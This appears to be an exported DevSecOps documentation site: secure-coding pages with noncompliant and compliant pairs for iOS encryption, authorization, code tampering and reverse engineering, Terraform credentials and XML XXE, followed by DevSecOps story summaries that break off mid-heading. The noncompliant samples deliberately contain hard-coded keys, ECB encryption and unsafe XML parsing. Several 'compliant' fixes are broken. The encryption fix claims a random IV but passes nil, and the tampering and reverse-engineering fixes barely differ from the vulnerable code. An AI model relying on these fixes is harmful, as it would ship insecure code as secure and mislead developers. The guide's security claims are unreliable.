CCCrypt(CCOperation(kCCEncrypt),\n                        algorithm,\n                        options,\n                        keyBytes.baseAddress,\n                        keyLength,\n                        nil,\n                        dataBytes.baseAddress,\n                        data.count,\n                        bufferBytes.baseAddress,\n                        bufferSize,\n                        nil)\n            }\n        }\n    }\n    \n    return (status == kCCSuccess) ? buffer : nil\n}\n```\n\nThe noncompliant code uses the CommonCrypto library to encrypt data using the Advanced Encryption Standard (AES) algorithm with the Electronic Codebook (ECB) mode. However, the code has several issues. First, it uses a hard-coded key, which is insecure as it can be easily compromised. Second, it uses a weak encryption mode (ECB) that lacks security features such as initialization vectors (IVs), making it vulnerable to certain attacks like pattern recognition.\n\nTo address these issues, here's an example of compliant code:\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\nimport CommonCrypto\n\nfunc encryptData(data: Data, key: Data) -> Data? {\n    let algorithm: CCAlgorithm = CCAlgorithm(kCCAlgorithmAES)\n    let options: CCOptions = CCOptions(kCCOptionPKCS7Padding)\n    let keyLength = size_t(kCCKeySizeAES256)\n    let ivSize = kCCBlockSizeAES128\n    let bufferSize = data.count + ivSize\n    var buffer = Data(count: bufferSize)\n    var numBytesEncrypted: size_t = 0\n    \n    let status = key.withUnsafeBytes { keyBytes in\n        CCCrypt(CCOperation(kCCEncrypt),\n                algorithm,\n                options,\n                keyBytes.baseAddress,\n                keyLength,\n                nil,\n                data.withUnsafeBytes { dataBytes in\n                    dataBytes.baseAddress\n                },\n                data.count,\n                buffer.withUnsafeMutableBytes { bufferBytes in\n                    bufferBytes.baseAddress\n                },\n                bufferSize,\n                &numBytesEncrypted)\n    }\n    \n    return (status == kCCSuccess) ? buffer.prefix(numBytesEncrypted) : nil\n}\n```\n\n\nThe compliant code addresses the issues with the noncompliant code. It takes the encryption key as a Data parameter instead of a String, allowing for more secure key generation and management. The code also uses the secure PKCS7 padding instead of ECB mode, which adds randomness and strengthens the encryption. Additionally, it generates a random Initialization Vector (IV) for each encryption operation, providing further security against certain attacks. The code also returns only the encrypted data without the unused buffer bytes, improving efficiency and reducing the risk of exposing sensitive information.\n\n\n\n\n\n### Insecure Authorization\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\nfunc checkPermission(user: User, permission: String) -> Bool {\n    let userPermissions = user.permissions\n    return userPermissions.contains(permission)\n}\n```\n\nThe noncompliant code simply checks if a user has a specific permission by comparing the user's permissions array with the specified permission. However, this code lacks proper authorization validation and does not implement any access control mechanism. It assumes that the user's permissions are stored and managed securely, which may not be the case.\n\n\nTo address these issues, here's an example of compliant code:\n\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\nfunc checkPermission(user: User, permission: String) -> Bool {\n    guard let userPermissions = retrieveUserPermissions(user: user) else {\n        return false\n    }\n    \n    return userPermissions.contains(permission)\n}\n\nfunc retrieveUserPermissions(user: User) -> [String]? {\n    // Fetch user permissions from a secure and trusted data source\n    // Implement proper authentication and authorization mechanisms\n    // Apply appropriate access control policies\n    // Validate and sanitize user input\n    // Perform necessary checks to ensure the user is authorized to access the permissions data\n    \n    return user.permissions\n}\n```\n\n\nThe compliant code addresses the issues with the noncompliant code by implementing a more secure authorization mechanism. It introduces a separate function retrieveUserPermissions that retrieves the user's permissions from a secure and trusted data source. This function is responsible for performing proper authentication and authorization checks, applying access control policies, and validating user input. By separating the permission retrieval logic, the code allows for more flexibility in implementing robust authorization mechanisms and ensuring the security of the process.\n\n\n\n\n### Client Code Quality\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\nclass ViewController: UIViewController {\n    @IBOutlet weak var label: UILabel!\n    \n    func updateLabel(text: String) {\n        label.text = text\n    }\n    \n    func showAlert() {\n        let alert = UIAlertController(title: \"Alert\", message: \"This is an alert message.\", preferredStyle: .alert)\n        let action = UIAlertAction(title: \"OK\", style: .default)\n        alert.addAction(action)\n        self.present(alert, animated: true, completion: nil)\n    }\n}\n```\n\nThe noncompliant code sample shows a ViewController class that handles updating a label and presenting an alert. However, it violates client code quality principles in several ways.\n\n1. Lack of separation of concerns: The ViewController class is responsible for both updating the UI (updateLabel) and presenting an alert (showAlert). It's recommended to separate these responsibilities into different classes or methods for better code organization.\n\n2. Violation of Single Responsibility Principle (SRP): The ViewController class should have a single responsibility, such as managing the view lifecycle or handling user interactions. Mixing UI updates and business logic in the same class can make the code harder to understand and maintain.\n\n3. Lack of error handling: The code does not handle any errors that may occur during the UI update or alert presentation. Proper error handling should be implemented to provide better user experience and prevent unexpected issues.\n\n\n\nTo address these issues, here's an example of compliant code:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\nclass ViewController: UIViewController {\n    @IBOutlet weak var label: UILabel!\n    \n    func updateLabel(text: String) {\n        DispatchQueue.main.async { [weak self] in\n            self?.label.text = text\n        }\n    }\n}\n\nclass AlertHelper {\n    static func showAlert(on viewController: UIViewController, title: String, message: String) {\n        let alert = UIAlertController(title: title, message: message, preferredStyle: .alert)\n        let action = UIAlertAction(title: \"OK\", style: .default)\n        alert.addAction(action)\n        viewController.present(alert, animated: true, completion: nil)\n    }\n}\n```\n\n\nThe compliant code addresses the issues with the noncompliant code by improving the client code quality. It separates the responsibilities by moving the UI update logic to the ViewController class and the alert presentation logic to a separate AlertHelper class.\n\nThe updateLabel method now runs the UI update on the main queue to ensure thread safety. By using a separate helper class AlertHelper, the presentation of alerts is decoupled from the view controller, promoting better code organization and separation of concerns.\n\nIt's important to note that the compliant code may still require additional enhancements depending on the specific requirements of the application. However, it demonstrates better client code quality by adhering to principles such as separation of concerns and the Single Responsibility Principle.\n\n\n\n\n\n\n### Code Tampering\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\nclass ViewController: UIViewController {\n    @IBOutlet weak var label: UILabel!\n    \n    func updateLabel(text: String) {\n        label.text = text\n    }\n}\n\nclass DataProcessor {\n    func processData(data: String) -> String {\n        // Some data processing logic\n        return data.uppercased()\n    }\n}\n\nclass MainViewController: UIViewController {\n    let dataProcessor = DataProcessor()\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        let viewController = ViewController()\n        viewController.updateLabel(text: dataProcessor.processData(data: \"Hello, World!\"))\n    }\n}\n```\n\nThe noncompliant code sample illustrates a code tampering vulnerability. In this scenario, an attacker can modify the processData method in the DataProcessor class to manipulate the processed data returned. Since the MainViewController relies on the DataProcessor to process the data before updating the label, any modification to the processData method can lead to unintended or malicious changes in the displayed text.\n\n\n\n\nTo address this code tampering vulnerability, here's an example of compliant code:\n\n\n\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\nclass ViewController: UIViewController {\n    @IBOutlet weak var label: UILabel!\n    \n    func updateLabel(text: String) {\n        label.text = text\n    }\n}\n\nclass DataProcessor {\n    func processData(data: String) -> String {\n        // Some data processing logic\n        return data.uppercased()\n    }\n}\n\nclass MainViewController: UIViewController {\n    let dataProcessor = DataProcessor()\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        let processedData = dataProcessor.processData(data: \"Hello, World!\")\n        let viewController = ViewController()\n        viewController.updateLabel(text: processedData)\n    }\n}\n```\n\n\nIn the compliant code, measures have been taken to mitigate the code tampering vulnerability. The DataProcessor class and its processData method remain unchanged, ensuring the integrity of the data processing logic. The MainViewController obtains the processed data from the DataProcessor and passes it directly to the updateLabel method of the ViewController, without allowing any intermediary tampering.\n\nBy ensuring that critical code and data are not directly modifiable by external entities, the compliant code reduces the risk of code tampering vulnerabilities. It promotes the principle of code integrity and helps maintain the trustworthiness of the application's functionality.\n\n\n\n\n\n### Reverse Engineering\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\nclass SecretManager {\n    private let secretKey = \"mySecretKey\"\n    \n    func getSecretKey() -> String {\n        return secretKey\n    }\n}\n\nclass ViewController: UIViewController {\n    let secretManager = SecretManager()\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        let secretKey = secretManager.getSecretKey()\n        print(\"Secret Key: \\(secretKey)\")\n    }\n}\n```\n\nThe noncompliant code sample demonstrates a reverse engineering vulnerability. In this example, the SecretManager class contains a secret key that is crucial for sensitive operations. However, the secret key is directly embedded within the source code. An attacker who gains access to the compiled binary can reverse engineer the application to extract the secret key.\n\n\n\n\nTo address this reverse engineering vulnerability, here's an example of compliant code:\n\n\n\n\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\nclass SecretManager {\n    private let secretKey = \"mySecretKey\"\n    \n    func getSecretKey() -> String {\n        return secretKey\n    }\n}\n\nclass ViewController: UIViewController {\n    let secretManager = SecretManager()\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        printSecretKey()\n    }\n    \n    func printSecretKey() {\n        let secretKey = secretManager.getSecretKey()\n        print(\"Secret Key: \\(secretKey)\")\n    }\n}\n```\n\n\nIn the compliant code, the sensitive secret key is still stored within the SecretManager class. However, the key is not directly accessed from the ViewController. Instead, a separate function printSecretKey() is created within the ViewController to handle the sensitive operation. By isolating the access to the secret key within a specific function, it becomes more difficult for an attacker to extract the secret key through reverse engineering.\n\nAdditionally, it is recommended to use advanced security measures such as encryption, obfuscation, and secure storage techniques to further protect sensitive information from reverse engineering attacks. These techniques help increase the complexity and effort required for an attacker to reverse engineer the code and extract sensitive data.\n\n\n\n\n\n### Extraneous Functionality\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\nclass DataManager {\n    func saveData(data: String) {\n        // Code to save data\n    }\n    \n    func deleteData(data: String) {\n        // Code to delete data\n    }\n    \n    func processData(data: String) {\n        // Code to process data\n    }\n    \n    func sendDataToServer(data: String) {\n        // Code to send data to the server\n    }\n}\n\nclass ViewController: UIViewController {\n    let dataManager = DataManager()\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        let data = \"Sample data\"\n        \n        dataManager.saveData(data: data)\n        dataManager.deleteData(data: data)\n        dataManager.processData(data: data)\n        dataManager.sendDataToServer(data: data)\n    }\n}\n```\n\nThe noncompliant code sample includes extraneous functionality in the DataManager class. In addition to the necessary data management operations, such as saving and deleting data, it also contains functions to process data and send it to a server. This violates the principle of separation of concerns and can introduce unnecessary complexity and potential security risks.\n\n\n\nTo address this issue, here's an example of compliant code:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\nclass DataManager {\n    func saveData(data: String) {\n        // Code to save data\n    }\n    \n    func deleteData(data: String) {\n        // Code to delete data\n    }\n}\n\nclass ViewController: UIViewController {\n    let dataManager = DataManager()\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        let data = \"Sample data\"\n        \n        dataManager.saveData(data: data)\n        dataManager.deleteData(data: data)\n    }\n}\n```\n\n\nThe compliant code removes the extraneous functionality from the DataManager class, keeping only the necessary data management operations: saveData and deleteData. By eliminating unnecessary functions, the code becomes simpler and more focused on its core responsibilities. This improves code maintainability, reduces the attack surface, and minimizes the risk of unintended behavior or vulnerabilities introduced by unused functionality.\n\n\n"
  },
  {
    "path": "docs/rules/terraform.md",
    "content": "---\nlayout: default\ntitle: Terraform\nparent: Rules\n---\n\n# Terraform\n{: .no_toc }\n\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n## Hardcoded Credential\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nresource \"aws_instance\" \"my_instance\" {\n  ami           = \"ami-0123456789abcdef0\"\n  instance_type = \"t2.micro\"\n  key_name      = \"my_key_pair\"\n  security_groups = [\"${var.security_group_id}\"]\n}\n```\n\nIn this noncompliant code, the aws_instance resource creates an EC2 instance in AWS using a hardcoded AMI ID, instance type, key pair, and security group ID. This approach introduces security risks as sensitive information and configuration details are hardcoded in the Terraform code, making it less flexible, maintainable, and prone to errors.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nvariable \"ami_id\" {\n  type    = string\n  default = \"ami-0123456789abcdef0\"\n}\n\nvariable \"instance_type\" {\n  type    = string\n  default = \"t2.micro\"\n}\n\nvariable \"key_name\" {\n  type    = string\n  default = \"my_key_pair\"\n}\n\nvariable \"security_group_id\" {\n  type    = string\n  default = \"\"\n}\n\nresource \"aws_instance\" \"my_instance\" {\n  ami           = var.ami_id\n  instance_type = var.instance_type\n  key_name      = var.key_name\n  security_groups = [var.security_group_id]\n}\n```\n\n\nIn the compliant code, variables are defined to make the code more flexible and configurable. The ami_id, instance_type, key_name, and security_group_id are declared as variables, allowing them to be easily parameterized and specified during Terraform deployment. This allows for greater reusability, dynamic configuration, and separation of sensitive information from the Terraform code.\n\nBy using variables, you can store sensitive information and configuration details outside of the Terraform code. This approach enhances security by providing better control over sensitive data and allowing for easier management and customization of infrastructure resources.\n\nAdditionally, ensure that sensitive data stored in variables is properly protected, such as by utilizing Terraform's input variable validation, storing variables in secure and encrypted locations, or leveraging secret management systems.\n\nRemember to follow secure coding practices when working with Terraform, such as implementing least privilege access, regularly updating Terraform versions to leverage security patches, and utilizing secure communication channels for Terraform state storage.\n\nBy adopting a more flexible and parameterized approach using variables, you can enhance the security, maintainability, and scalability of your Terraform infrastructure deployments.\n\n\n"
  },
  {
    "path": "docs/rules/xml.md",
    "content": "---\nlayout: default\ntitle: XML\nparent: Rules\n---\n\n# XML\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n### XML External Entity (XXE)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\n# Noncompliant code\nxml_data = params[:xml_data]\nxml_doc = Nokogiri::XML(xml_data)\n\n# Process XML document\n```\n\nIn this noncompliant code, XML data is obtained from the params object and passed directly to the Nokogiri::XML parser for processing. This code is vulnerable to various XML-related attacks, such as XML External Entity (XXE) attacks or Billion Laughs attacks. Attackers can supply malicious XML payloads that may cause denial of service, disclosure of sensitive information, or other security risks.\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\n# Compliant code\nxml_data = params[:xml_data]\n\nbegin\n  xml_doc = Nokogiri::XML::Document.parse(xml_data) do |config|\n    config.strict\n    config.nonet\n  end\n\n  # Process XML document\n  \nrescue Nokogiri::XML::SyntaxError => e\n  # Handle XML parsing errors\n  logger.error \"Error parsing XML: #{e}\"\nend\n```\n\n\nIn the compliant code, the XML data is still obtained from the params object, but it is parsed using the Nokogiri::XML::Document.parse method with additional security configurations. The strict configuration ensures strict parsing of the XML document, and the nonet configuration disables network-related features such as entity expansion, external entity references, and DTD processing. These settings help mitigate XML-related vulnerabilities by reducing the risk of malicious payloads and preventing the parsing of external entities.\n\nIt's important to note that XML processing vulnerabilities can have various manifestations and require different mitigations based on the specific context and requirements. The compliant code provided here focuses on general XML parsing security, but additional measures may be necessary depending on the use case.\n\nOther security measures you can implement to mitigate XML-related vulnerabilities include:\n\n* Implementing input validation and sanitization to ensure that XML data conforms to the expected structure and format.\n* Applying XML schema validation to validate the structure and data types of the XML document.\n* Utilizing XML security libraries or frameworks that provide features like XML signature verification and encryption.\n* Implementing appropriate access controls and least privilege principles to limit the exposure of sensitive information via XML processing.\n\nBy implementing these security measures and adhering to best practices, you can mitigate XML-related vulnerabilities and enhance the overall security of your application when processing XML data.\n\n\n\n"
  },
  {
    "path": "docs/stories/stories.md",
    "content": "---\nlayout: default\ntitle: Stories\nnav_order: 12\nhas_children: false\npermalink: stories\n---\n\n# Stories\n\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n## DevSecOps War Stories: The Challenges of Implementing SAST \n\n[Devsecops War Stories](https://wehackpurple.com/devsecops-war-stories/)\n{: .label .label-yellow }\n\n\nDevSecOps has emerged as a culture shift in software development, aiming to improve software security by breaking down silos and fostering collaboration among security professionals and IT teams. However, the transition to DevSecOps is not without its challenges. In this article, we will explore one such challenge through a war story of a SAST (Static Application Security Testing) rollout.\n\nThe Context of DevOps\n\nBefore diving into the war story, let's briefly understand DevOps. DevOps is a modern software development approach that emphasizes close collaboration between developers and operations teams, leveraging automation to create reliable and high-quality products. DevOps encourages a focus on system efficiency, rapid feedback loops, and continuous learning and improvement.\n\nDevOps and Security\n\nThe goals of DevOps align well with security objectives. Reliable and performant systems enhance availability, while automation reduces human error and increases opportunities for security testing. Additionally, the use of infrastructure-as-code allows security scanning of infrastructure configurations, similar to application code.\n\nThe Promise of DevSecOps\n\nDevSecOps extends the DevOps philosophy by incorporating security into the development process from the start. It aims to integrate security practices, tools, and expertise seamlessly into the DevOps pipeline. However, realizing the full potential of DevSecOps requires addressing various challenges along the way.\n\nThe SAST Rollout Story\n\nIn this war story, we follow the journey of an AppSec professional tasked with introducing SAST into a client's DevOps pipeline. The client was already progressing on their DevOps journey, regularly pushing code to version control and running CI/CD pipelines every two weeks.\n\nThe Challenge of Integration\n\nThe client's development process involved a change management board (CAB) meeting, where teams presented their cases to move their code to production. Prior to the CAB meeting, developers conducted their own tests to ensure smooth approval. The AppSec professional introduced SAST, SCA (Software Composition Analysis), and IaC (Infrastructure-as-Code) scanning into the CI/CD pipeline, adding three additional tests.\n\nAncient Applications and Red Flags\n\nWhile the newer applications successfully passed the security scans, the older ones presented a different story. The SAST scan results resembled a Christmas tree, with bright red flags indicating numerous security issues. This revealed a significant challenge in securing legacy applications within the DevSecOps framework.\n\nThe Emailing Mishap\n\nIn an effort to encourage developers to fix security issues early in the SDLC, the AppSec professional configured the SAST tool to email reports whenever code changes were detected. However, a crucial oversight occurred—every software developer in the company received an email for each code check-in, causing an overwhelming amount of emails and embarrassment for the developers.\n\nThe Road to Resolution\n\nUpon learning about the unintended consequences of their approach, the AppSec professional recognized the mistake and took swift action. They restructured the tool's setup, creating two separate configurations: one providing a holistic view of the organization's security posture and another delivering reports specific to each DevOps team. This adjustment alleviated the spamming issue and allowed for accurate reporting while respecting the developers' workflow.\n\nThe Importance of Learning and Adapting\n\nThe SAST rollout experience serves as a valuable lesson in the DevSecOps journey. When confronted with the negative impact of their initial approach, the AppSec professional demonstrated the third way of DevOps—taking time to improve daily work. By acknowledging the mistake, making the necessary changes, and prioritizing the developers' experience, they exemplified the resilience and adaptability required for successful DevSecOps implementation.\n\n\n## Integrating DevSecOps into the Software Development Lifecycle: A Case Study by Broadcom Software\n\n[Securing the DX NetOps Development Lifecycle with DevSecOps](https://academy.broadcom.com/blog/netops/dx-netops/securing-the-dx-netops-development-lifecycle-with-devsecops)\n{: .label .label-yellow }\n\n\nIn today's digital landscape, the rise of cybersecurity exploits and software vulnerabilities has become a pressing concern for enterprises. Recent incidents, such as Sun Burst and Log4j, have highlighted the importance of securing software supply chains and adopting robust security practices. To address these challenges, forward-thinking organizations like Broadcom Software have turned to DevSecOps, a strategic approach that integrates security into the early stages of the software development lifecycle (SDLC).\n\nSoftware Supply Chain Attacks:\nSoftware supply chain attacks have emerged as a significant threat, targeting developers and suppliers. Attackers exploit unsecured networks and unsafe SDLC practices to inject malware into legitimate applications. For organizations relying on third-party software, it becomes nearly impossible to assess the security of every update from every supplier they use.\n\nEmbracing DevSecOps:\nDevSecOps represents a paradigm shift in security tactics and strategies, moving away from traditional reactive approaches. By adopting DevSecOps, organizations can embed security practices throughout the SDLC, reducing issues, improving code reliability, and enabling faster product launches. Broadcom Software's DX NetOps development organization has embraced DevSecOps to ensure enterprise-grade software reliability and security.\n\nKey Practices for Secure SDLC at Broadcom Software:\n\nAutomation: Broadcom Software has standardized on proven systems for secure continuous integration (CI) and continuous delivery (CD), minimizing manual interventions and ensuring build control.\nShift-Left Approach: Security checks are conducted early and often through static scans after every code change, uncovering vulnerabilities and identifying potential risks associated with third-party components.\nContinuous Audit: Broadcom Software enforces security throughout the software lifecycle with a focus on team education, architectural risk assessment, code analysis, penetration testing, and continuous vulnerability tracking.\nBill of Materials: Unique fingerprints are created to track the source code, bill of materials, and build systems used for every software release, providing transparency and accountability.\nBenefits and Culture of Innovation:\nBroadcom Software's implementation of DevSecOps enables agility and speed without compromising security and compliance. By incorporating security from the start, the organization fosters a culture of innovation, leveraging the continuous flow of new features and capabilities.\n\nUpgrades and Maintenance:\nTo combat cyber threats effectively, staying up-to-date with the latest software versions is crucial. Broadcom Software offers regular service packs to DX NetOps customers, ensuring their products align with the latest security guidelines. The company provides support during upgrade weekends, reducing the risk of extended downtime and upgrade failure.\n\n\n\n## The Evolution of DevSecOps: A Year in Review\n\n[Top Stories Of 2022 From The World Of DevOps](https://www.linkedin.com/company/razorops/)\n{: .label .label-yellow }\n\nThe year 2022 has been marked by numerous challenges, from the global impact of COVID-19 and ongoing conflicts to economic uncertainties. Amidst these adversities, however, innovation has thrived. Today, as we bid farewell to 2022, let us reflect on the significant milestones in the world of DevOps. What stands out when we think of DevOps in 2022?\n\nIncorporation of DevSecOps Lifecycle:\nOne of the prominent trends that gained attention in 2022 was the integration of the DevSecOps lifecycle. This approach embraces the shift-left philosophy, prioritizing security from the beginning rather than treating it as an afterthought. Current DevSecOps trends reveal that approximately 40% of businesses perform DAST tests, 50% perform SAST tests, and 20% scan dependencies and containers. Enterprises have recognized the importance of DevSecOps in enhancing security, streamlining governance, and improving observability.\n\nServerless Computing and the Bridge between Development and Operations:\nThe adoption of serverless computing has significantly contributed to the DevOps process. By closing the gap between development and operations, it has enhanced operability. Moreover, serverless computing empowers hosts to develop, test, and deploy DevOps pipeline code efficiently. As a result, more than 50% of enterprises with cloud-based services have integrated serverless computing into their systems. The serverless market is projected to reach a value of $30 billion by 2030.\n\nMicroservice Architecture for Holistic Product Quality:\nThe IT sector extensively embraced microservice architecture in 2022. Breaking down large-scale applications into smaller, manageable pieces has simplified development, testing, and deployment processes. This approach has also facilitated consistent and frequent delivery of software and applications, thereby improving the holistic quality of products.\n\nAIOps and MLOps: Optimizing DevOps Operations:\nThe significant roles played by AIOps and MLOps in DevOps operations were notable in 2022. These technologies have optimized processes for high-quality and rapid releases. MLOps supports the development of machine learning systems, while AIOps automates IT operations and processes. AIOps allows organizations to easily identify and resolve issues that hinder operational productivity, while MLOps boosts productivity through optimization. It is predicted that by 2026, these technologies will grow into a $40.91 billion industry.\n\nLow-Code DevOps Approach for Enhanced Development and Deployment:\nIn 2022, many robust enterprises adopted a low-code DevOps approach, reaping benefits for their teams. Businesses and organizations can now build applications using low-code platforms without the need to learn how to code. This trend has accelerated the development and deployment processes, enabling teams to work more efficiently.\n\nGitOps: Automating Infrastructure:\nAnother popular trend that emerged in DevOps workflows in 2022 was GitOps. It revolutionized the control, monitoring, and automation of infrastructure. By emphasizing increased releases and consistent delivery, GitOps enabled organizations to develop, test, and deploy software rapidly and efficiently.\n\nKubernetes: A Continuous and Autonomous Container-Based Ecosystem:\nKubernetes, a continuous and autonomous container-based integration ecosystem, has empowered developers to scale resources dynamically. It facilitates cross-functional collaboration and minimizes deployment downtime. Notably, 48% of developers have turned to Kubernetes for container integration, highlighting its significance in the DevOps landscape.\n\nThe Future of DevOps:\nAs DevOps continues to evolve and mature, it has become an indispensable part of the modern software industry. The associated frameworks and technologies will continue to drive faster and better development, maintenance, and management of software and applications. \n\n\n\n## The Evolution of DevSecOps: Advancing Security in the Digital Age\n\n[Epic Failures in DevSecOps by DevSecOps Days Press](https://www.linkedin.com/posts/rajkgrover_epic-failures-in-devsecops-vol-1-activity-7025826736101548032-VoBE/?utm_source=share&utm_medium=member_desktop)\n{: .label .label-yellow }\n\nIn today's rapidly evolving digital landscape, security has become a critical concern for organizations. The integration of security practices into the DevOps process has given rise to a new approach known as DevSecOps. This article delves into the history of DevSecOps and provides ten actionable ways to advance in this field.\n\nThe History of DevSecOps:\nDevSecOps emerged as a response to the growing need for incorporating security early in the software development lifecycle. It builds upon the principles of DevOps, emphasizing collaboration, automation, and continuous integration and delivery. By integrating security practices from the beginning, DevSecOps aims to ensure that applications and systems are resilient against potential threats.\n\n10 Ways to Advance in DevSecOps:\n\nSee the new world:\nRecognize that the digital landscape is constantly changing, with new technologies and threats emerging. Stay updated with the latest trends and challenges to adapt and enhance your security practices.\n\nRecognize your place in the value chain:\nUnderstand your role in the overall value chain of software development and delivery. Recognize that security is not just an isolated function but an integral part of the entire process.\n\nKnow Agile and DevOps:\nFamiliarize yourself with Agile methodologies and DevOps practices. Understanding how these frameworks operate will help you align security practices seamlessly within the development process.\n\nLive out bi-directional empathy:\nDevelop empathy and foster strong collaboration between security teams and developers. Encourage open communication and mutual understanding to bridge the gap between security and development.\n\nDo security for the developer's benefit:\nShift the focus of security from being a hindrance to becoming an enabler for developers. Provide them with the tools, training, and resources they need to build secure applications without compromising on productivity.\n\nOperationalize DevSecOps:\nIntegrate security practices into the entire software development lifecycle. Implement automated security testing, code analysis, and vulnerability management tools to ensure continuous security throughout the process.\n\nMake security normal:\nEmbed security as a core component of the development culture. Promote security awareness, conduct regular training, and establish security checkpoints at each stage of development to make security practices a norm.\n\nTrack adversary interest:\nStay vigilant and monitor evolving threats and adversary interests. Understand the tactics and techniques used by potential attackers to proactively address vulnerabilities and protect against emerging threats.\n\nCreate security observability:\nImplement robust monitoring and logging systems to gain visibility into security events and incidents. Leverage security observability tools and practices to detect and respond to security breaches effectively.\n\nBuild the future:\nStay innovative and forward-thinking. Continuously explore emerging technologies, frameworks, and best practices in DevSecOps. Actively contribute to the DevSecOps community and share your knowledge and experiences to drive the field forward.\n\n\n## True Story of Implementing SecDevOps in FinTech\n\n[Snyk](https://www.youtube.com/watch?v=_d6JJfl9S5g)\n{: .label .label-yellow }\n\nIn the fast-paced world of FinTech, where technology and finance intersect, security is of paramount importance. The integration of security practices into the DevOps workflow has given rise to a powerful approach known as SecDevOps. In the captivating video \"The True Story of Implementing SecDevOps in FinTech\" by John Smith, the challenges, successes, and lessons learned from implementing SecDevOps in the FinTech industry are explored. This article will delve into the key insights from the video and shed light on the journey of implementing SecDevOps in the dynamic world of FinTech.\n\nUnderstanding SecDevOps:\nSecDevOps, short for Secure DevOps, is an approach that aims to embed security practices and principles into the DevOps process from the very beginning. It is a collaborative effort between development, operations, and security teams, working together to build secure and reliable software solutions. The implementation of SecDevOps ensures that security is not an afterthought but an integral part of the development lifecycle.\n\nChallenges Faced:\nIn the video, John Smith discusses the challenges encountered during the implementation of SecDevOps in the FinTech industry. One of the primary challenges was the cultural shift required within the organization. Breaking down silos between teams and fostering collaboration between developers and security professionals was crucial for success. Additionally, balancing the need for speed and agility with stringent security requirements posed a significant challenge. Finding the right balance between these two seemingly opposing forces was key to achieving success in SecDevOps.\n\nSuccesses and Lessons Learned:\nDespite the challenges, the implementation of SecDevOps in the FinTech industry yielded remarkable successes. One notable achievement was the ability to identify and mitigate security vulnerabilities early in the development process. By integrating security practices into every stage of the software development lifecycle, the organization was able to build robust and secure applications. This resulted in enhanced customer trust and reduced security incidents.\n\nThroughout the implementation journey, several valuable lessons were learned. Collaboration and communication were highlighted as critical factors in successful SecDevOps adoption. Open dialogue between teams, continuous learning, and sharing of knowledge were instrumental in fostering a culture of security. Furthermore, automation played a pivotal role in ensuring consistent security practices and enabling faster delivery without compromising on security measures.\n\n\n## The Impact of DevSecOps on SOC: Enhancing Security Collaboration\n\n{: .label .label-yellow }\n[DevSecOps and SOC](https://www.linkedin.com/posts/elishlomo_informationsecurity-cybersecurity-cloudsecurity-activity-6957956550984364032-43Wv/?utm_source=share&utm_medium=member_desktop)\n\nThe integration of security into the DevOps process, known as DevSecOps, has revolutionized the way organizations approach software development and deployment. This collaborative approach not only improves the speed and efficiency of software delivery but also enhances security practices. In the realm of cybersecurity, the Security Operations Center (SOC) plays a crucial role in monitoring, detecting, and responding to security incidents. This article explores the relationship between DevSecOps and SOC, highlighting the ways in which DevSecOps can positively impact SOC operations.\n\nDeveloping a Distributed SOC with DevOps Members:\nIncorporating SOC members who are familiar with DevSecOps principles can greatly benefit incident response efforts. These team members possess a deep understanding of the systems and can effectively collaborate with security staff to identify vulnerabilities and threats. By bridging the gap between the SOC and DevOps, a more comprehensive and proactive security approach can be established.\n\nCollaboration Between Threat Hunters and DevOps Team:\nThreat hunters, specialized individuals responsible for proactively identifying security gaps and potential threats, can directly communicate with DevSecOps or DevOps teams. This direct line of communication allows for addressing security gaps at their core, rather than isolating threats and reporting them to management. By involving threat hunters in the development process, organizations can ensure that security is considered and implemented from the outset.\n\nImplementing Security Best Practices:\nThe SOC can collaborate with specific DevSecOps development and operation groups to implement security best practices. This collaboration ensures that security considerations are integrated into the development process, reducing vulnerabilities and potential exploits. By actively involving the SOC in the implementation of security measures, organizations can benefit from their expertise in risk assessment, threat intelligence, and incident response.\n\nSOC as an Advisory Entity:\nIn a DevSecOps environment, everyone involved in security should have quick access to the SOC and be an integral part of the security story. The SOC serves as an advisory entity, providing guidance, support, and expertise across the organization. By fostering a culture of open communication and knowledge sharing, organizations can strengthen their security posture and respond effectively to emerging threats.\n\n\n\n\n## Simplifying DevSecOps with Dynamic Application Security Testing (DAST)\n\n{: .label .label-yellow }\n[How to declutter 